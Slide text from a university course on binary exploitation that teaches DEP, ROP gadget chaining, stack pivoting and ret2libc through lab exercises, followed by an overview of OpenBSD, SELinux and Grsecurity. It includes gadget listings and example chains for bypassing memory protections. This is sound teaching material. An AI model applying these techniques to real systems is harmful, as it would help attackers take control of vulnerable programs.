  - Meant to mitigate code injection / shellcode payloads
  - Also known as DEP, NX, XN, XD, W^X

Runtime Process Without DEP

0x00000000 – Start of memory

Like an ELF, multiple segments
- R-X
- R-- ...

R-X (Read, Execute)

R-- (Read)

RWX (Read, Write, Execute)

RWX (Read, Write, Execute)

0xFFFFFFFF – End of memory

Runtime Process Without DEP

0x00000000 – Start of memory

Like an ELF, multiple segments
- R-X
- R-- ...

R-X (Read, Execute)

R-- (Read)

RWX (Read, Write, Execute)

RWX (Read, Write, Execute)

0xFFFFFFFF – End of memory

Runtime Process With~~out~~ DEP

0x00000000 – Start of memory

Like an ELF, multiple segments
- R-X
- R-- ...

R-X (Read, Execute)

R-- (Read)

RW- (Read, Write, ~~Execute~~)

RW- (Read, Write, ~~Execute~~)

0xFFFFFFFF – End of memory

Runtime Process With DEP

0x00000000 – Start of memory

Like an ELF, multiple segments

R-X

R-- ...

R-X (Read, Execute)

R-- (Read)

RW- (Read, Write)

RW- (Read, Write)

0xFFFFFFFF – End of memory

DEP Basics

- No segment of memory should ever be Writable and Executable at the same time, ‘W^X’
- Common data segments
  - Stack, Heap
  - .bss
  - .ro
  - .data
- Common code segments
  - .text
  - .plt

DEP in Action

- Data should never be executable, only code
- What happens if we stack smash, inject shellcode, and try to jump onto the stack?

DEP in Action

- Data should never be executable, only code
- What happens if we stack smash, inject shellcode, and try to jump onto the stack?

DEP in Action

- Data should never be executable, only code
- What happens if we stack smash, inject shellcode, and try to jump onto the stack?

yay mitigation technologies!

Lecture Overview

1. Introducing DEP
2. The History of DEP
3. Bypassing DEP with ROP
4. Stack Pivoting

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5B
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

History of DEP

- When was DEP implemented?

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

History of DEP

- When was DEP implemented?
  - August 14th, 2004 - Linux Kernel 2.6.8

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

History of DEP

- When was DEP implemented?
  - August 14th, 2004 - Linux Kernel 2.6.8
  - August 25th, 2004 - Windows XP SP2

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

History of DEP

- When was DEP implemented?
  - August 14th, 2004 - Linux Kernel 2.6.8
  - August 25th, 2004 - Windows XP SP2
  - June 26th, 2006 - Mac OSX 10.5

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

History of DEP

- When was DEP implemented?
  - August 14th, 2004 - Linux Kernel 2.6.8
  - August 25th, 2004 - Windows XP SP2
  - June 26th, 2006 - Mac OSX 10.5

about 10 years ago

2004 in Perspective

- Facebook is created
- G-Mail launches as beta
- Ken Jennings begins his 74 win streak on Jeopardy
- Halo 2 is released, as is Half Life 2
- LOST airs its first episode

Security is Young

- Technologies in modern exploit mitigations are incredibly young, and the field of computer security is rapidly evolving

- DEP is one of the of the main mitigation technologies you must bypass in modern exploitation

Lecture Overview

1. Introducing DEP
2. The History of DEP
3. Bypassing DEP with ROP
4. Stack Pivoting

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Bypassing DEP

- DEP stops an attacker from easily executing injected shellcode assuming they gain control of EIP
  - shellcode almost always ends up in a RW- region
- If you can't inject (shell)code to do your bidding, you must re-use the existing code!
  - This is technique is usually some form of ROP

Course Terminology

- Return Oriented Programming
  - A technique in exploitation to reuse existing code gadgets in a target binary as a method to bypass DEP
  - Also known as ROP
- Gadget
  - A sequence of meaningful instructions typically followed by a return instruction
  - Usually multiple gadgets are chained together to compute malicious actions like shellcode does
  - These chains are called ROP Chains

Relevant Quotes

"Preventing the introduction of malicious code is not enough to prevent the execution of malicious computations"

-Dino Dai Zovi

Gadgets

- ROP Chains are made up of gadgets
- Example gadgets -

```
xor    eax, eax
ret

pop    ebx
pop    eax
ret

add    eax, ebx
ret
```

$ ropgadget --binary /bin/bash

```
0x080d2262 : xor ebx, ebx ; mov esi, edi ; jmp 0x80d227d
0x080ac337 : xor ecx, dword ptr [ecx + 0x448b2404] ; and al, 0xc ; call eax
0x080d02b8 : xor ecx, ecx ; cmp dword ptr [edx], 0x2e ; je 0x80d02f1 ; mov eax, ecx ; ret
0x080cc175 : xor ecx, ecx ; mov eax, edx ; pop ebx ; mov edx, ecx ; pop esi ; pop edi ; ret
0x0808b728 : xor ecx, ecx ; xor edx, edx ; mov eax, esi ; call 0x8087958
0x080bc610 : xor edi, edi ; pop ebx ; mov eax, edi ; pop esi ; pop edi ; pop ebp ; ret
0x0812b059 : xor edi, edx ; jmp dword ptr [ebx]
0x0811a06d : xor edx, edi ; jmp dword ptr [eax]
0x080fcc4d : xor edx, edx ; add esp, 0x14 ; pop esi ; pop edi ; pop ebp ; ret
0x080fcb6c : xor edx, edx ; add esp, 0xc ; pop esi ; pop edi ; pop ebp ; ret
0x080a395b : xor edx, edx ; call 0x80a2879
0x080d6e71 : xor edx, edx ; cmp eax, 0x16 ; setne dl ; jmp 0x80d6e53
0x08072090 : xor edx, edx ; mov dword ptr [eax + 8], edx ; add esp, 0x18 ; pop ebx ; ret
0x0808b72a : xor edx, edx ; mov eax, esi ; call 0x8087956
0x080861bd : xor edx, edx ; pop ebx ; pop esi ; ret
0x08070246 : xor edx, edx ; pop esi ; pop edi ; pop ebp ; ret
0x08075a58 : xor edx, edx ; pop esi ; pop edi ; ret
0x080f8877 : xor esi, 0x89c085ff ; ret
0x080f3a88 : xrelease ; mov dword ptr [esp], esi ; call 0x80efd46

Unique gadgets found: 15840
lecture@warzone:/levels$
```

Understanding ROP

- It is almost always possible to create a logically equivalent ROP chain for a given piece of shellcode

exit(0) - shellcode

```
xor     eax, eax
xor     ebx, ebx
inc     eax
int     0x80
```

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
```

Understanding ROP

exit(0) - ROP chain

```
xor     eax, eax
ret
xor     ebx, ebx
ret
inc     eax
ret
int     0x80
exits ...
```

Bypassing DEP with ROP

- We called exit(0) without using any sort of shellcode!
- With that said, writing ROP can be difficult and you will usually have to get creative with what gadgets you find

/levels/lecture/rop/rop_exit

- Play around with ROP on the warzone
- Can you make a ROP chain to set arbitrary exit values? 0? 200? 64?

Relevant Tips/Tools/Commands

- $ ropgadget --binary ./rop_exit > /tmp/gadgetzXYZ.txt
  - $ cat /tmp/gadgetzXYZ.txt | grep “pop eax” | grep …
- $ asm
  - easy way to get the bytes for gadgets you’re looking for
- $ gdbpeda
  - searchmem, find raw bytes in an executing program
  - ropsearch, a crappy rop gadget finder
- python

```
def q(addr):
    return struct.pack(“I”, addr)
```

Lecture Overview

1. Introducing DEP
2. The History of DEP
3. Bypassing DEP with ROP
4. Stack Pivoting

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Typical Constraints in ROP

- Typically in modern exploitation you might only get one targeted overwrite rather than a straight stack smash
- What can you do when you only have one gadget worth of execution?
  - Answer: Stack Pivoting

Stack Pivoting

You control the orange

You have one gadget before you drop into arbitrary data on the stack

Stack Pivoting

You control the orange

You have one gadget before you drop into arbitrary data on the stack

Stack Pivoting

You control the orange

You have one gadget before you drop into arbitrary data on the stack

Use your one gadget to move ESP into a more favorable location (Stack Pivot)

Stack Pivoting

You control the orange

You have one gadget before you drop into arbitrary data on the stack

Use your one gadget to move ESP into a more favorable location (Stack Pivot)

Stack Pivoting

You control the orange

You have one gadget before you drop into arbitrary data on the stack

Use your one gadget to move ESP into a more favorable location (Stack Pivot)

Stack Pivoting Tips

```
add     esp, 0xXXXX
ret
```

```
sub     esp, 0xXXXX
ret
```

```
ret 0xXXXX
```

```
leave     ; (mov esp, ebp)
ret
```

```
xchg eXX, esp
ret
```

any gadgets that touch esp will probably be of interest for a pivot scenario

Stack Pivoting Tips

- You may not find an exact pivot, or you may need to pivot multiple times!

- You can always pad your ROP Chains with ROP NOPs which are simply gadgets that point to ret's

/levels/lecture/rop/rop_pivot

- Play around with Stack Pivoting on the warzone

ret2libc

- ‘ret2libc’ is a technique of ROP where you return to functions in standard libraries (libc), rather than using gadgets

- If you know the addresses of the functions you want to ROP through in libc (assuming libc exists), ret2libc is easier than making a ROP chain with gadgets

Common ret2libc Targets

- system()
  - Executes something on the command line
  - system("cat flag.txt");

- (f) open() / read() / write()
  - Open/Read/Write a file contents

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

system() --->

Returning to System

- We want to call system(“cat flag.txt”);
- Because we are ROPing into system rather than calling it, you have to think about setting up the stack (to pass arguments) a little bit differently

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

```
system() --->
????? --->
????? --->
```

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system() --->

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

```
system()
0xb7e65190:   push    ebx
0xb7e65191:   sub     esp, 8
0xb7e65194:   mov     eax, DWORD PTR [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

REWIND

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg ---> "cat flag.txt"

```
0x08045430:  ret
```

EIP

.....

```
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg ---> "cat flag.txt"

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->
"cat flag.txt"

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->
"cat flag.txt"

0x08

w0w_u_g0t_th3_fl4g_such_h4ck3r

.....

system()

```
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

Chaining Calls

ROP Lab

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Markus Gaasedelen

Final notes on DEP

- One last concept
  - ret2libc

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ret2libc

- ‘ret2libc’ is a technique of ROP where you return to functions in standard libraries (libc), rather than using gadgets

- If you know the addresses of the functions you want to ROP through in libc (assuming libc exists), ret2libc is easier than making a ROP chain with gadgets

Common ret2libc Targets

- system()
  - Executes something on the command line
  - system("cat flag.txt");

- (f) open() / read() / write()
  - Open/Read/Write a file contents

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

system() --->

Returning to System

- We want to call system(“cat flag.txt”);
- Because we are ROPing into system rather than calling it, you have to think about setting up the stack (to pass arguments) a little bit differently

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

```
                                  system() --->
                                       ????? --->
                                       ????? --->

0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system() --->

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

```
system()
0xb7e65190:   push    ebx
0xb7e65191:   sub     esp, 8
0xb7e65194:   mov     eax, DWORD PTR [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

REWIND

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ret2libc example

```
0x08045430:  ret
```

EIP

```
.....................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg ---> "cat flag.txt"

```
0x08045430:  ret
```

EIP

```
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

ret2libc example

system() --->

ret address --->

first arg ---> "cat flag.txt"

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->
"cat flag.txt"

```
0x08045430:  ret

.........................................
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

ret2libc example

system()'s
stack frame

ret address --->

first arg --->
"cat flag.txt"

0x08

w0w_u_g0t_th3_fl4g_such_h4ck3r

.....

```
system()
0xb7e65190:  push   ebx
0xb7e65191:  sub    esp, 8
0xb7e65194:  mov    eax, DWORD PTR
  [esp+0x10]
...
```

EIP

Chaining Calls

Lab 5

- lab5C - ret2libc
- lab5B - Basic ROP
- lab5A - More involved ROP

Secure Systems and Pwning Popular Platforms

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Markus Gaasedelen

Lecture Overview

- Secure Systems & Patch Sets
  - OpenBSD
  - SELinux
  - Grsecurity
- Owning Game Consoles
  - Xbox 360
  - Nintendo 3DS
  - PS3
- Current Generation

OpenBSD

"The OpenBSD project produces a **FREE**, multi-platform 4.4BSD-based UNIX-like operating system. Our efforts emphasize portability, standardization, correctness, proactive security and integrated cryptography."

–openbsd.org

OpenBSD

- Started in 1995 forking from NetBSD 1.0
- “Try to be the #1 most secure operating system” –openbsd.org

OpenBSD – Added Technologies

- Adds hardening & security technologies
  - W^X
  - Privilege isolation
  - Jails
  - Randomized malloc/mmap
  - Ships Crypto
  - A few other things

OpenBSD – “secure by default”

- Good code is inherently secure
  - Fewer bugs
  - Utilizes secure coding practices
- Extensive code review and audits
- Reduces attack surface by disabling most remote services in default install

FEWER BUGS != MORE SECURE

One bug is still enough to blow things wide open

Security-Enhanced Linux (SELinux)

"SELinux is an implementation of mandatory access controls (MAC) on Linux. Mandatory access controls allow an administrator of a system to define how applications and users can access different resources such as files, devices, networks and inter-process communication."

–selinuxproject.org

SELinux – Overview

- Open sourced by the NSA in 2000
- Extended filesystem permissions controls
  - Users and services should only have access to exactly what they need

Grsecurity (GRSEC)

"Grsecurity is an extensive security enhancement to the Linux kernel that defends against a wide range of security threats through intelligent access control, memory corruption-based exploit prevention, and a host of other system hardening that generally require no configuration ..."

–grsecurity.net

GRSEC – Overview

- Started in 2001 as a port of OpenWall
- Free, relatively easy to setup
- Besides robust access control like SELinux, GRSEC has a large focus on hardening against memory corruption based exploits
  - High quality PAX ASLR, Memory Sanitization, Heap Hardening, Active Response, to name a few

Lecture Overview

- Secure Systems & Patch Sets
  - OpenBSD
  - SELinux
  - Grsecurity
- Owning Game Consoles
  - Xbox 360
  - Nintendo 3DS
  - PS3
- Current Generation

GAME CONSOLES

A closer look at the bugs that brought down consoles of our generation

Game Consoles

